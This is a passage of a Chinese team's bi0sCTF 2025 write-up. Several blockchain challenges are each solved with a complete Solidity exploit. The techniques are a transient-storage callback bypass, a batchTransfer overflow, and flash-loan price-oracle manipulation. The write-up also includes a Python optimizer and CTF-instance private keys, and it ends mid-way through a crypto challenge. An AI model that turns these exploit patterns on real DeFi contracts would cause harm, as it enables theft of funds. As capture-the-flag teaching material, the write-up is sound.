我们获得了bi0sctf第一名 🥳
ctftime目前暂居世界第一 1️⃣
选取了一些题目整理成writeup和大家分享 🥰
Blockchain
Transient Heist
根据挑战描述和部分合约代码,我们很容易发现可能存在一些与瞬态存储相关的漏洞。经过搜索引擎可以发现SIR.trading 被黑事件,这是一个利用瞬态存储漏洞的黑客事件。
该漏洞的核心在于 swapCallback 函数的回调函数将兑换金额存储在 slot 1 的瞬时存储中,该值也用于检查 msg.sender 是否为 SwapPair。因此,如果我们能够 swap 特定数量的代币,使 slot 1 的值等于恶意合约的地址,那么我们就可以绕过该检查,并调用 swapCallback 函数来设置 collateralDeposited。
但是此版本的挑战仅检查 depositCollateralThroughSwap() 函数中的 _otherToken 参数,因此我们可以创建恶意代币和 SwapPair 来轻松完成该挑战。
Attacker contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import"./core/Setup.sol";
import"./Killer.sol";
import"./core/tokens/Hacker.sol";
contract Attacker {
Hacker public hacker_coin;
IBi0sSwapPair public wethHackPair;
constructor() payable {}
function attack(address _setup) external payable {
Setup setup = Setup(_setup);
USDSEngine usdsEngine = setup.usdsEngine();
SafeMoon safeMoon = setup.safeMoon();
WETH weth = setup.weth();
bytes32 FLAG_HASH = keccak256("YOU NEED SOME BUCKS TO GET FLAG");
uint256 targetValue = uint256(FLAG_HASH) + 1;
setup.setPlayer(address(this));
Killer killer = new Killer();
uint256 killerAddress = uint160(address(killer));
hacker_coin = new Hacker(2 * killerAddress);
weth.deposit{value: 1 ether}(address(this));
wethHackPair = IBi0sSwapPair(
setup.bi0sSwapFactory().createPair(
address(weth),
address(hacker_coin)
)
);
hacker_coin.transfer(address(wethHackPair), 2 * killerAddress);
weth.transfer(address(wethHackPair), 1);
wethHackPair.addLiquidity(address(this));
weth.approve(address(wethHackPair), type(uint256).max);
weth.approve(address(usdsEngine), type(uint256).max);
usdsEngine.depositCollateralThroughSwap(
address(weth),
address(hacker_coin),
1,
0
);
killer.Kill(
address(usdsEngine),
address(this),
address(weth),
killerAddress + targetValue,
targetValue
);
killer.Kill(
address(usdsEngine),
address(this),
address(safeMoon),
killerAddress + targetValue,
targetValue
);
usdsEngine.collateralDeposited(
address(this),
usdsEngine.collateralTokens(0)
);
usdsEngine.collateralDeposited(
address(this),
usdsEngine.collateralTokens(1)
);
setup.isSolved();
}
}
Exploit contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {CTFSolver} from "forge-ctf/CTFSolver.sol";
import"./core/Setup.sol";
import"./Attacker.sol";
/**
CHALLENGE=0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 forge script src/bi0sctf2025/Transient-Heist/Exploit.s.sol:Exploit
--rpc-url $ETH_RPC_URL
--broadcast
-vvvvv
*/
contract Exploit is CTFSolver {
function solve(address challenge, address player) internal override{
Attacker attacker = new Attacker{value: 2 ether}();
attacker.attack(challenge);
}
}
Killer contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {USDSEngine} from "./core/USDSEngine.sol";
contract Killer {
function Kill(
address _usdsEngine,
address sender,
address collateralToken,
uint256 amountOut,
uint256 collateralDepositAmount
) external {
bytes memory data = abi.encode(collateralDepositAmount);
USDSEngine(_usdsEngine).bi0sSwapv1Call(
sender,
collateralToken,
amountOut,
data
);
}
}
Transient Heist Revenge
revenge 与原版挑战类似,不同之处在于 depositCollateralThroughSwap() 函数现在会检查 _collateralToken 参数,因此兑换金额存在上限,我们需要暴力破解一个较小的恶意合约地址来满足限制。
使用 ERADICATE2 来生成恶意合约地址,只需先部署 Attacker 合约并使用其地址生成恶意合约地址,然后调用 attack() 函数即可利用该挑战。
Attacker contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import"./core/Setup.sol";
import"./Killer.sol";
import"./core/tokens/Hacker.sol";
contract Attacker {
Hacker hacker_coin;
IBi0sSwapPair safeMoonHackPair;
constructor() payable {}
function attack(address _setup, bytes32 salt) external payable {
Setup setup = Setup(_setup);
USDSEngine usdsEngine = setup.usdsEngine();
SafeMoon safeMoon = setup.safeMoon();
WETH weth = setup.weth();
IBi0sSwapPair wethSafeMoonPair = setup.wethSafeMoonPair();
bytes32 FLAG_HASH = keccak256("YOU NEED SOME BUCKS TO GET FLAG");
uint256 targetValue = uint256(FLAG_HASH) + 1;
setup.setPlayer(address(this));
address killer;
bytes memory bytecode = type(Killer).creationCode;
assembly {
killer := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
uint256 killerAddress = uint160(killer);
hacker_coin = new Hacker(2 * 1207000603499873710129495113646411976443);
weth.deposit{value: 80000 ether}(address(this));
weth.approve(address(wethSafeMoonPair), type(uint256).max);
wethSafeMoonPair.swap(
address(weth),
weth.balanceOf(address(this)),
address(this),
abi.encodePacked("")
);
safeMoonHackPair = IBi0sSwapPair(
setup.bi0sSwapFactory().createPair(
address(hacker_coin),
address(safeMoon)
)
);
hacker_coin.transfer(
address(safeMoonHackPair),
1207000603499873710129495113646411976443 - killerAddress
);
safeMoon.transfer(
address(safeMoonHackPair),
safeMoon.balanceOf(address(this))
);
safeMoonHackPair.addLiquidity(address(this));
hacker_coin.approve(address(usdsEngine), type(uint256).max);
usdsEngine.depositCollateralThroughSwap(
address(hacker_coin),
address(safeMoon),
killerAddress,
0
);
Killer(killer).Kill(
address(usdsEngine),
address(this),
address(weth),
killerAddress + targetValue,
targetValue
);
Killer(killer).Kill(
address(usdsEngine),
address(this),
address(safeMoon),
killerAddress + targetValue,
targetValue
);
usdsEngine.collateralDeposited(
address(this),
usdsEngine.collateralTokens(0)
);
usdsEngine.collateralDeposited(
address(this),
usdsEngine.collateralTokens(1)
);
setup.isSolved();
}
}
Exploit contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {CTFSolver} from "forge-ctf/CTFSolver.sol";
import"./core/Setup.sol";
import"./Attacker.sol";
/**
using ERADICATE2 to bruteforce create2's salt
./ERADICATE2 -A 0x8464135c8F25Da09e49BC8782676a84730C318bC -I 0x6080604052348015600e575f5ffd5b5061030f8061001c5f395ff3fe608060405234801561000f575f5ffd5b5060043610610029575f3560e01c8063da543c731461002d575b5f5ffd5b61004760048036038101906100429190610171565b610049565b005b5f8160405160200161005b91906101f7565b60405160208183030381529060405290508573ffffffffffffffffffffffffffffffffffffffff1663389bc44f868686856040518563ffffffff1660e01b81526004016100ab949392919061028f565b5f604051808303815f87803b1580156100c2575f5ffd5b505af11580156100d4573d5f5f3e3d5ffd5b50505050505050505050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61010d826100e4565b9050919050565b61011d81610103565b8114610127575f5ffd5b50565b5f8135905061013881610114565b92915050565b5f819050919050565b6101508161013e565b811461015a575f5ffd5b50565b5f8135905061016b81610147565b92915050565b5f5f5f5f5f60a0868803121561018a576101896100e0565b5b5f6101978882890161012a565b95505060206101a88882890161012a565b94505060406101b98882890161012a565b93505060606101ca8882890161015d565b92505060806101db8882890161015d565b9150509295509295909350565b6101f18161013e565b82525050565b5f60208201905061020a5f8301846101e8565b92915050565b61021981610103565b82525050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6102618261021f565b61026b8185610229565b935061027b818560208601610239565b61028481610247565b840191505092915050565b5f6080820190506102a25f830187610210565b6102af6020830186610210565b6102bc60408301856101e8565b81810360608301526102ce8184610257565b90509594505050505056fea26469706673582212209a10d1e786162f32ac2219babe3c4cc632ac1dcf45705756052f07dfd6f7987564736f6c634300081c0033 --leading 0
CHALLENGE=0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 forge script src/bi0sctf2025/Transient-Heist-Revenge/Exploit.s.sol:Exploit
--rpc-url $ETH_RPC_URL
--broadcast
-vvvvv
*/
contract Exploit is CTFSolver {
function solve(address challenge, address player) internal override{
// Attacker attacker = new Attacker{value: 80000 ether}();
Attacker attacker = Attacker(
0x8464135c8F25Da09e49BC8782676a84730C318bC
);
attacker.attack(
challenge,
bytes32(
0x5105163d73bc3b218daef504edaa346cbd28f4cc35099e5f25f08a8c7ef7ff99
)
);
}
}
Empty Vessel
本次挑战赛涉及一个 ERC4626 vault 合约,setup 合约会将 100_000 ether INR 存入 vault。我们的目标是使赎回金额低于 75_000 ether INR。
注意到 convertToAssets() 函数使用 totalAssets() 和 totalSupply() 来计算可赎回的资产数量,totalAssets() 返回 vault 的 INR 余额。因此,我们可以在调用 setup.stakeINR() 函数之前将一些 INR 转入 vault,以使 vault 的份额低于 75_000 ether INR。
INR 合约是完全用汇编实现的。经过代码审计,我们不难发现 batchTransfer() 函数并没有进行乘法溢出检查,因此我们可以构造一个恶意的 batchTransfer() 函数调用,该函数的乘法结果非常小,导致乘法溢出,但会转移大量的 INR,然后利用这些 INR 完成漏洞利用。
Exploit contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {CTFSolver} from "forge-ctf/CTFSolver.sol";
import"./Setup.sol";
/**
CHALLENGE=0x5FbDB2315678afecb367f032d93F642f64180aa3 forge script src/bi0sctf2025/Empty-Vessel/Exploit.s.sol:Exploit
--rpc-url $ETH_RPC_URL
--broadcast
-vvvvv
*/
contract Exploit is CTFSolver {
function solve(address challenge, address player) internal override{
Setup setup = Setup(challenge);
Stake stake = setup.stake();
INR inr = setup.inr();
setup.claim();
address[] memory receivers = new address[](10);
receivers[0] = player;
for (uint256 i = 1; i < receivers.length; i++) {
receivers[i] = address(uint160(1));
}
inr.batchTransfer(
receivers,
11579208923731619542357098500868790785326998466564056403945758400791312963994
);
inr.balanceOf(player);
inr.approve(address(stake), type(uint256).max);
inr.transfer(address(stake), 100_000 ether);
stake.deposit(2, player);
setup.stakeINR();
setup.solve();
setup.isSolved();
}
}
The Time Travellers DEX
不难发现Finance有两个函数:stake 可以按当前价格从 ETH mint出INR;withdraw 可以按当前价格将 INR burn为 ETH。因此,本题题显然是价格操纵。本题中的价格oracle是一个带有累计价格功能的 DEX,结合finance的snapshot功能做oracle,但它显然有漏洞:价格会取自快照后第一笔交易的价格。但本题比较麻烦,快照操作有时间限制(1-2min),而且比较繁琐,可能需要手动操作。
本题还有很多其他限制,需要搞很多trick:DEX 只能swap 6 次;flashloan只能使用一次;withdraw 不能在flashloan中用;当我们想要以当前价格做快照时,必须更新 DEX;flashloan的额度和 DEX 兑换的额度也有限制。
显然,当我们的INR数量更多时,价格操纵攻击会取得更大的放大倍率。所以一定要在第一次还没钱的时候使用唯一一次flashloan。我们可以借入INR,卖出压低价格,然后使用自己的ETH mint INR,再买回来INR拉高价格,最后以高价销毁。我们这样可以获得接近 50000 个 ETH,几乎可以获得bonus 2 了。我们可以从用户账户(有 1ETH)中掏一点,以确保能够拿到bonus。
之后我们可以用自有资金进行两次简单的价格操纵攻击。即低价mint,拉高价格,高价burn,然后还原价格。需要注意的是,我们需要计算使用多少 ETH 来拉盘,以及使用多少 ETH 来mint。可以写一个脚本来找到最佳比例。
最后,如果我们仍然没有足够的钱(我不知道够不够,我前面攻击最开始写错了,所以我写了这一步,最终获得的钱也是远高于题目要求的)。我们可以强制转账ETH给DEX,不进行交换(由于限制6次),但可以拉盘来做价格操纵攻击。尽管我们无法取回转移出去的ETH,但推高价格就足以获得更多的ETH。
本题主要在于各类限制,以及提交的时候需要卡时间比较恶心。整体并不难。
init0 = 50000 * 10**18
init1 = 230000 * init0
tga=100000 * 1e18
tgb=230000 * 100000 * 1e18
classLP:
def__init__(self):
self.balance0 = 0
self.balance1 = 0
defmint(self, amount0, amount1):
self.balance0 += amount0
self.balance1 += amount1
defburn(self, share):
r = (self.balance0 * share, self.balance1 * share)
self.balance0 -= self.balance0 * share
self.balance1 -= self.balance1 * share
return r
defswap(self, intoken, amount):
k = self.balance0 * self.balance1
if intoken == 0:
self.balance0 += amount
ret = self.balance1 - k / self.balance0
self.balance1 = k / self.balance0
return ret
else:
self.balance1 += amount
ret = self.balance0 - k / self.balance1
self.balance0 = k / self.balance1
return ret
defprice(self):
return self.balance1 / self.balance0
DEBUG = False
defsim1(r0,r1,r2,r3):
lp = LP()
lp.mint(50000000000000000000000, 11500000000000000000000000000)
bal0 = 49996000000000999915653
bal1 = 0
c0=bal0*r0
c1=bal0*r1
bal0 -= c0+c1
bal1 += lp.price() * c0
if bal1 > init1:
return -1
ce = lp.swap(1, bal1)
bal1 = bal0*lp.price()
if ce+c1 > init0:
return -1
bal1 += lp.swap(0,ce+c1)
bal0 = bal1/lp.price()
bal1 = 0
bal0 += 10000*(10**18)
c0 = bal0 * r2
bal0 -= c0
c1 = bal0 * r3
bal0 -= c1
bal1 = lp.price() * c0
if bal1 > init1:
return -1
ce = lp.swap(1, bal1)
bal1 = bal0 * lp.price()
if ce + c1 > init0:
return -1
bal1 += lp.swap(0, ce + c1)
bal0 = (bal1-tgb) / lp.price()
bal1 = 0
if DEBUG:
print(f"r0: {r0}, r1: {r1}, r2: {r2}, r3: {r3}")
print(lp.balance0/1e18, lp.balance1/1e18)
return bal0
defsim2(r0,r1,r2,r3,r4):
lp = LP()
lp.mint(50000000000000000000000, 11500000000000000000000000000)
bal0 = 49996000000000999915653
bal0 += 10000*(10**18)
bal1 = 0
c0=bal0*r0
bal1 += lp.price() * (bal0 - c0)
if c0 > init0:
return -1
bal1 += lp.swap(0, c0)
c1 = bal1 * r1
bal0 = (bal1 - c1) / lp.price()
if c1 > init1:
return -1
bal0 += lp.swap(1, c1)
bal1 = 0
c2 = bal0 * r2
bal1 += lp.price() * (bal0 - c2)
if c2 > init0:
return -1
bal1 += lp.swap(0, c2)
c3 = bal1 * r3
bal0 = (bal1 - c3) / lp.price()
if c3 > init1:
return -1
bal0 += lp.swap(1, c3)
bal1 = 0
# r4 = 0.2
c4 = bal0 * r4
bal1 += lp.price() * (bal0 - c4)
lp.balance0 += c4
bal0 = (bal1 - tgb) / lp.price()
if DEBUG:
print(f"r0: {r0}, r1: {r1}, r2: {r2}, r3: {r3}")
print(lp.balance0/1e18, lp.balance1/1e18)
return bal0
defflsim(r):
lp = LP()
lp.mint(50000000000000000000000, 11500000000000000000000000000)
bal0 = 12500 * (10**18)
bal1 = 11500000000000000000000000000
c0 = bal0 * r
bal0 -= c0
balx = lp.swap(1, bal1)
bal1 = bal0 * lp.price()
lp.swap(0, balx + c0)
bal0 = bal1 / lp.price()
return bal0
print(flsim(0)/1e18)
print(flsim(0.001)/1e18)
# print(sim(0.2,0.3,0.2,0.2)/1e18)
sim = sim2
ACCR1 = 20
ACCR2 = 20
ACCR3 = 20
bestv = 0
bestpair = None
# for i in range(50,60):
# for j in range(1,10):
# for i in range(1,100):
# for j in range(1,100):
# r0 = i/100
# r1 = j/100
for i inrange(1,ACCR1):
for j inrange(1,ACCR1):
r0 = i/ACCR1
r1 = j/ACCR1
if r0+r1 > 0.9:
break
for ii inrange(1,ACCR2):
for jj inrange(1,ACCR2):
r2 = ii/ACCR2
r3 = jj/ACCR2
if r2+r3 > 0.95:
break
for kk inrange(1,ACCR3):
r4 = kk/ACCR3
res = sim(r0,r1,r2,r3,r4)
if res > bestv:
bestv = res
bestpair = (r0, r1, r2, r3, r4)
print(f"Best value: {bestv/1e18} for pair {bestpair[0]}{bestpair[1]}{bestpair[2]}{bestpair[3]}{bestpair[4]}")
DEBUG = True
print(sim(bestpair[0], bestpair[1], bestpair[2], bestpair[3], bestpair[4]) / 1e18)
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.20;
import {Script,console} from"forge-std/Script.sol";
import"./Deploy.s.sol";
import"src/Setup.sol";
import"src/Finance.sol";
contract bro {
constructor() payable {
}
function calls(address _target, bytes memory data) public payable {
address payable target = payable(_target);
(bool success, bytes memory returndata) = target.call{value:msg.value}(data);
require(success, "call failed");
}
fallback() external payable {}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
return this.onERC721Received.selector;
}
}
contract Flusher
{
DEX public dex;
Finance public finance;
IERC20 public WETH;
IERC20 public INR;
constructor(address _dex, address _finance, address _WETH, address _INR) {
// require(msg.value == 1 ether, "Must send 1 ether");
dex = DEX(_dex);
finance = Finance(_finance);
WETH = IERC20(_WETH);
INR = IERC20(_INR);
}
function init() public {
WETH.transferFrom(msg.sender, address(this), 100 gwei);
WETH.transfer(address(dex), 50 gwei);
}
function flush() public {
WETH.transfer(address(dex), 1 gwei);
dex.sync();
}
function fake() public {
WETH.transfer(address(dex), 1 gwei);
INR.transfer(address(dex), 1 gwei);
}
}
contract hacker {
Setup public ch;
DEX public dex;
Finance public finance;
IERC20 public WETH;
IERC20 public INR;
Flusher public flusher;
uint ctx;
uint gbal;
constructor(address _ch) payable {
ch = Setup(_ch);
dex = DEX(ch.dex());
finance = Finance(ch.finance());
WETH = IERC20(ch.WETH());
INR = IERC20(ch.INR());
}
function _sqrt(uint x) internal pure returns (uint) {
if (x == 0) return0;
uint z = (x + 1) / 2;
uint y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
return y;
}
function getBestAmount(uint balance,uint reserve) internal pure returns (uint) {
uint dt=balance*balance+2*balance*reserve+4*reserve*reserve;
uint rt=_sqrt(dt);
uint rv=(balance+rt-2*reserve)/3;
require(rv>0, "not enough balance");
require(rv<=balance, "too much balance");
return rv;
}
function sell(IERC20 token, uint amount) internal returns (uint) {
token.transfer(address(dex), amount);
uint am=dex.swap(
address(token),
amount,
0,
address(this)
);
return am;
}
function work1f() public {
uint lpr1=WETH.balanceOf(address(dex));
uint lpr2=INR.balanceOf(address(dex));
console.log("lpr1:", lpr1);
console.log("lpr2:", lpr2);
ch.claimBonus1();
console.log("current balance:", address(this).balance);
finance.flashLoan(
IERC3156FlashBorrower(address(this)),
address(INR),
2_30_000 * 50_000 ether,
""
);
}
function flush() public {
flusher.flush();
}
function work2() public {
// flusher.flush();
INR.transfer(address(dex), 1 gwei);
dex.sync();
INR.transfer(address(finance), INR.balanceOf(address(this)));
finance.withdraw(address(INR), INR.balanceOf(address(this)));
console.log("balance after flashloan:", address(this).balance);
uint sb=address(this).balance;
finance.stake{value: sb}(address(WETH));
ch.claimBonus2();
WETH.transfer(address(finance), WETH.balanceOf(address(this)));
finance.withdraw(address(WETH), WETH.balanceOf(address(this)));
console.log("final balance:", address(this).balance);
}
function work3() public {
uint myb=address(this).balance-100 gwei;
uint lpb=WETH.balanceOf(address(dex));
uint mnb=getBestAmount(myb, lpb);
if(mnb>50_000 ether)
{
mnb=50_000 ether;
}
// mnb=(2*myb-lpb)/3;
mnb = 44*myb/100;
require(mnb>0, "not enough balance");
console.log("mnb:", mnb);
ctx=mnb;
gbal=myb;
finance.stake{value: mnb+100 gwei}(address(WETH));
flusher = new Flusher(address(dex), address(finance), address(WETH), address(INR));
WETH.approve(address(flusher), type(uint256).max);
flusher.init();
// flusher.flush();
finance.stake{value: myb-mnb}(address(INR));
}
function work4() public {
WETH.transfer(address(dex), ctx);
uint am=dex.swap(
address(WETH),
ctx,
0,
address(this)
);
uint om=INR.balanceOf(address(this));
am = INR.balanceOf(address(this))*46/100;
// INR.transfer(address(finance), INR.balanceOf(address(this)));
// finance.withdraw(address(INR), INR.balanceOf(address(this)));
INR.transfer(address(finance), om-am);
finance.withdraw(address(INR), om-am);
INR.transfer(address(dex), am);
uint xb=dex.swap(
address(INR),
am,
0,
address(this)
);
WETH.transfer(address(finance), xb);
finance.withdraw(address(WETH), xb);
uint sb=address(this).balance;
console.log("balance after work4:", sb);
}
function work4m() public {
uint myb=address(this).balance;
uint lpb=WETH.balanceOf(address(dex));
uint mnb=getBestAmount(myb, lpb);
if(mnb>50_000 ether)
{
mnb=50_000 ether;
}
// mnb=(2*myb-lpb)/3;
mnb = 46*myb/100;
require(mnb>0, "not enough balance");
console.log("mnb:", mnb);
flusher.flush();
finance.stake{value: myb-mnb}(address(INR));
ctx=mnb;
gbal=myb;
finance.stake{value: mnb}(address(WETH));
}
function work5() public {
WETH.transfer(address(dex), ctx);
uint am=dex.swap(
address(WETH),
ctx,
0,
address(this)
);
uint om=INR.balanceOf(address(this));
am = INR.balanceOf(address(this))*48/100;
// INR.transfer(address(finance), INR.balanceOf(address(this)));
// finance.withdraw(address(INR), INR.balanceOf(address(this)));
INR.transfer(address(finance), om-am);
finance.withdraw(address(INR), om-am);
INR.transfer(address(dex), am);
uint xb=dex.swap(
address(INR),
am,
0,
address(this)
);
WETH.transfer(address(finance), xb);
finance.withdraw(address(WETH), xb);
uint sb=address(this).balance;
console.log("balance after work5-1:", sb);
}
function xmint(uint ethamo) internal returns (uint)
{
WETH.transfer(address(dex),ethamo);
flusher.fake();
uint lp=dex.mint(address(this));
return lp;
}
function work6() public {
flusher.flush();
uint myb=address(this).balance;
uint lpb=WETH.balanceOf(address(dex));
uint mnb=getBestAmount(myb, lpb);
if(mnb>50_000 ether)
{
mnb=50_000 ether;
}
mnb=myb*20/100;
require(mnb>0, "not enough balance");
console.log("mnb:", mnb);
finance.stake{value: myb-mnb}(address(INR));
ctx=mnb;
finance.stake{value: mnb}(address(WETH));
}
function work7() public {
WETH.transfer(address(dex), ctx);
dex.sync();
uint lpr1=WETH.balanceOf(address(dex));
uint lpr2=INR.balanceOf(address(dex));
console.log("lpr1:", lpr1);
console.log("lpr2:", lpr2);
// console.log("xlp:", xlp);
console.log("all lp:", dex.totalSupply());
uint om=INR.balanceOf(address(this))-2_30_000 * 100_000 ether;
// uint om=INR.balanceOf(address(this));
INR.transfer(address(finance), om/2);
finance.withdraw(address(INR), om/2);
uint svb=address(this).balance;
finance.stake{value: svb}(address(WETH));
INR.transfer(address(finance), om/2);
finance.withdraw(address(INR), om/2);
uint xb=WETH.balanceOf(address(this));
console.log("totb:", address(this).balance+xb);
xb = xb - 100_000 ether;
WETH.transfer(address(finance), xb);
finance.withdraw(address(WETH), xb);
uint sb=address(this).balance;
console.log("balance after work7:", sb);
ch.setPlayer(address(this));
ch.solve();
}
function onFlashLoan(address initiator, IERC20 token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) {
INR.transfer(address(dex), amount);
uint am=dex.swap(
address(INR),
amount,
0,
address(this)
);
uint wb=address(this).balance;
finance.stake{value: wb}(address(INR));
WETH.transfer(address(dex), am);
dex.swap(
address(WETH),
am,
0,
address(this)
);
console.log("try to repay", INR.balanceOf(address(this)), amount);
INR.approve(msg.sender, type(uint256).max);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
receive() external payable {
}
}
contract Solve is Script {
function run() public {
uint sk=0x05c0c4dcb15c2021d29c294a5ac7365cac00ed176e1c9ce64d24804a8396a7dd;
vm.startBroadcast(sk);
address player=vm.addr(sk);
console.log(player);
Setup ch=Setup(0xAE5034fdA74B102efB660Bd2F15ad34faf168BB8);
// Setup ch=new Setup{value : 2_72_500 ether}();
vm.warp(block.timestamp + 70);
// hacker h=new hacker(address(ch));
hacker h=new hacker{value: 0.2 ether}(address(ch));
// hacker h = hacker(payable(0x6D9C21cf43dB084da8486844A4Aa9fdC54e508cf));
Finance f=Finance(ch.finance());
f.snapshot();
vm.warp(block.timestamp + 10);
vm.sleep(1_000);
h.work1f();
vm.warp(block.timestamp + 60);
vm.sleep(61_000);
f.snapshot();
vm.warp(block.timestamp + 10);
vm.sleep(1_000);
h.work2();
h.work3();
vm.warp(block.timestamp + 60);
vm.sleep(65_000);
f.snapshot();
vm.warp(block.timestamp + 10);
vm.sleep(1_000);
h.work4();
vm.warp(block.timestamp + 60);
vm.sleep(65_000);
f.snapshot();
vm.warp(block.timestamp + 10);
vm.sleep(1_000);
h.work4m();
vm.warp(block.timestamp + 60);
vm.sleep(65_000);
f.snapshot();
vm.warp(block.timestamp + 10);
vm.sleep(1_000);
h.work5();
vm.warp(block.timestamp + 60);
vm.sleep(65_000);
f.snapshot();
vm.warp(block.timestamp + 10);
vm.sleep(1_000);
h.work6();
vm.warp(block.timestamp + 60);
vm.sleep(65_000);
f.snapshot();
vm.warp(block.timestamp + 10);
vm.sleep(1_000);
h.work7();
require(ch.isSolved(), "not solved");
vm.stopBroadcast();
}
}
Vastavikamaina Token
注意到题目中的代币可以由Factory以Loan的形式无限Mint。但在转出时,会限制Loan出的代币无法转出(即剩余balance必须大于loan)。不难注意到Factory中有一个addVasthavikamainaLiquidity函数,任何人都可以使用该函数以当前价格增加大量流动性,且钱的来源是虚空Mint。
因此本题非常显然是价格操纵攻击:利用Balancer的flashloan借入大量ETH,买入代币推高价格;调用Factory增加流动性,然后高价卖出。题目中的三个代币我们都做一遍就可以获得足够多的eth解决本题。
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.20;
import {Script,console} from "forge-std/Script.sol";
import"./Deploy.s.sol";
import"src/core/Setup.sol";
import"src/core/Balancer.sol";
contract bro {
constructor() payable {
}
function calls(address _target, bytes memory data)public payable {
address payable target = payable(_target);
(bool success, bytes memory returndata) = target.call{value:msg.value}(data);
require(success, "call failed");
}
fallback() external payable {}
function onERC721Received(address, address, uint256, bytes calldata) external returns(bytes4){
returnthis.onERC721Received.selector;
}
}
contract hacker {
Setup public ch;
VasthavikamainaToken public VSTETH;
WhiteListed public whiteListed;
LamboToken public lamboToken1;
LamboToken public lamboToken2;
LamboToken public lamboToken3;
WETH9 public wETH9;
Balancer public balancer;
IUniswapV2Pair public uniPair1;
IUniswapV2Pair public uniPair2;
IUniswapV2Pair public uniPair3;
Factory public factory;
uint public cstage;
constructor(address _ch) payable {
ch = Setup(_ch);
VSTETH = ch.VSTETH();
whiteListed = ch.whilteListed();
lamboToken1 = ch.lamboToken1();
lamboToken2 = ch.lamboToken2();
lamboToken3 = ch.lamboToken3();
wETH9 = ch.wETH9();
balancer = ch.balancer();
uniPair1 = ch.uniPair1();
uniPair2 = ch.uniPair2();
uniPair3 = ch.uniPair3();
factory = ch.factory();
}
function work(uint st)public{
cstage = st;
uint cb=address(this).balance;
IERC20[] memory tokens = new IERC20[](1);
tokens[0] = IERC20(address(wETH9));
uint256[] memory amounts = new uint256[](1);
amounts[0] = wETH9.balanceOf(address(balancer));
balancer.flashloan(IFlashLoanRecipient(address(this)),
tokens,
amounts,
""
);
ch.setPlayer(address(this));
console.log("my balance delta is %s", address(this).balance - cb);
// require(ch.isSolved(), "not solved");
require(address(this).balance - cb > 0.01 ether, "not enough balance");
}
function workquote(LamboToken lamboToken, IUniswapV2Pair uniPair) internal{
uint mybalance = address(this).balance;
uint aout = whiteListed.buyQuote{value: mybalance}(address(lamboToken), mybalance, 0);
lamboToken.approve(address(factory), type(uint256).max);
lamboToken.approve(address(whiteListed), type(uint256).max);
factory.addVasthavikamainaLiquidity(address(VSTETH), address(lamboToken), 300 ether, 0);
uint lb=lamboToken.balanceOf(address(this));
console.log("lamboToken balance is %s", lb);
console.log("out is %s", aout);
uint reservelb=lamboToken.balanceOf(address(uniPair));
uint reservevsteth=VSTETH.balanceOf(address(uniPair));
uint sb=reservevsteth*reservelb/(320 ether)-reservelb;
sb = sb * 1003 / 1000; // accounting for fees
if( sb > lb) {
sb = lb;
}
console.log("sellQuote amount is %s", sb);
whiteListed.sellQuote(address(lamboToken), sb, 0);
console.log("my balance after sell is %s", address(this).balance);
console.log("delta is %s", address(this).balance - mybalance);
}
function receiveFlashLoan(IERC20[] memory _tokens, uint256[] memory _amounts, uint256[] memory _fees, bytes memory _data) external {
uint tob = _amounts[0]+ _fees[0];
wETH9.withdraw(address(this),wETH9.balanceOf(address(this)));
uint mybalance = address(this).balance;
console.log("my balance is %s", mybalance);
if(cstage==0)
{
workquote(lamboToken1, uniPair1);
}
elseif(cstage==1)
{
workquote(lamboToken2, uniPair2);
}
elseif(cstage==2)
{
workquote(lamboToken3, uniPair3);
}
else
{
revert("Invalid stage");
}
// workquote(lamboToken1, uniPair1);
// workquote(lamboToken2, uniPair2);
// workquote(lamboToken3, uniPair3);
wETH9.deposit{value: tob}(address(this));
wETH9.transfer(msg.sender, tob);
}
receive() external payable {
}
}
contract Solve is Script {
function run()public{
uint sk=0xfc1b660d8413db55235c4110b216df98e3c28282c450ddac8fdc6b727ad63bb9;
address player=vm.addr(sk);
console.log(player);
Setup ch=Setup(0x1504025D9328cBF43b9BEf4a74CEa4eE8b856568);
// Setup ch=new Setup();
vm.startBroadcast(sk);
uint mybalance=player.balance-0.1 ether;
console.log("my balance is %s", mybalance);
if(mybalance > 10 ether) {
mybalance = 10 ether;
}
hacker h=new hacker{value: mybalance}(address(ch));
h.work(0);
vm.roll(100);
h.work(1);
vm.roll(101);
h.work(2);
require(ch.isSolved(), "not solved");
vm.stopBroadcast();
}
}
Crypto
Like PRNGS to Heaven
题目看上去弯弯绕绕的,似乎是有关MT,但是实际上看完所有代码会发现最多能泄露的比特数也不会够预测。
再仔细想的话会发现ECDSA的nonce生成以及私钥d生成都很奇怪:
def full_noncense_gen(self) -> tuple:
k_m1 = self.real_bits(24)
k_m2 = self.real_bits(24)
k_m3 = self.real_bits(69)
k_m4 = self.real_bits(30)
k_, cycle_1 = self.sec_real_bits(32)
_k, cycle_2 = self.sec_real_bits(32)
benjamin1, and1, eq1 = self.partial_noncense_gen(32, 16, 16)
benjamin2, and2, eq2 = self.partial_noncense_gen(32 ,16 ,16)
const_list = [k_m1, (benjamin1 >> 24 & 0xFF), k_m2, (benjamin1 >> 16 & 0xFF) , k_, (benjamin1 >> 8 & 0xFF), k_m3, (benjamin1 & 0xFF), k_m4, (benjamin2 >> 24 & 0xFFF), _k]
shift_list = [232, 224, 200, 192, 160, 152, 83, 75, 45, 33, 0]
n1 = [and1, eq1]
n2 = [and2, eq2]
cycles = [cycle_1, cycle_2]
noncense = 0
forconst, shift in zip(const_list, shift_list):
noncense += const << shift
return noncense, n1, n2, cycles
def privkey_gen(self) -> int:
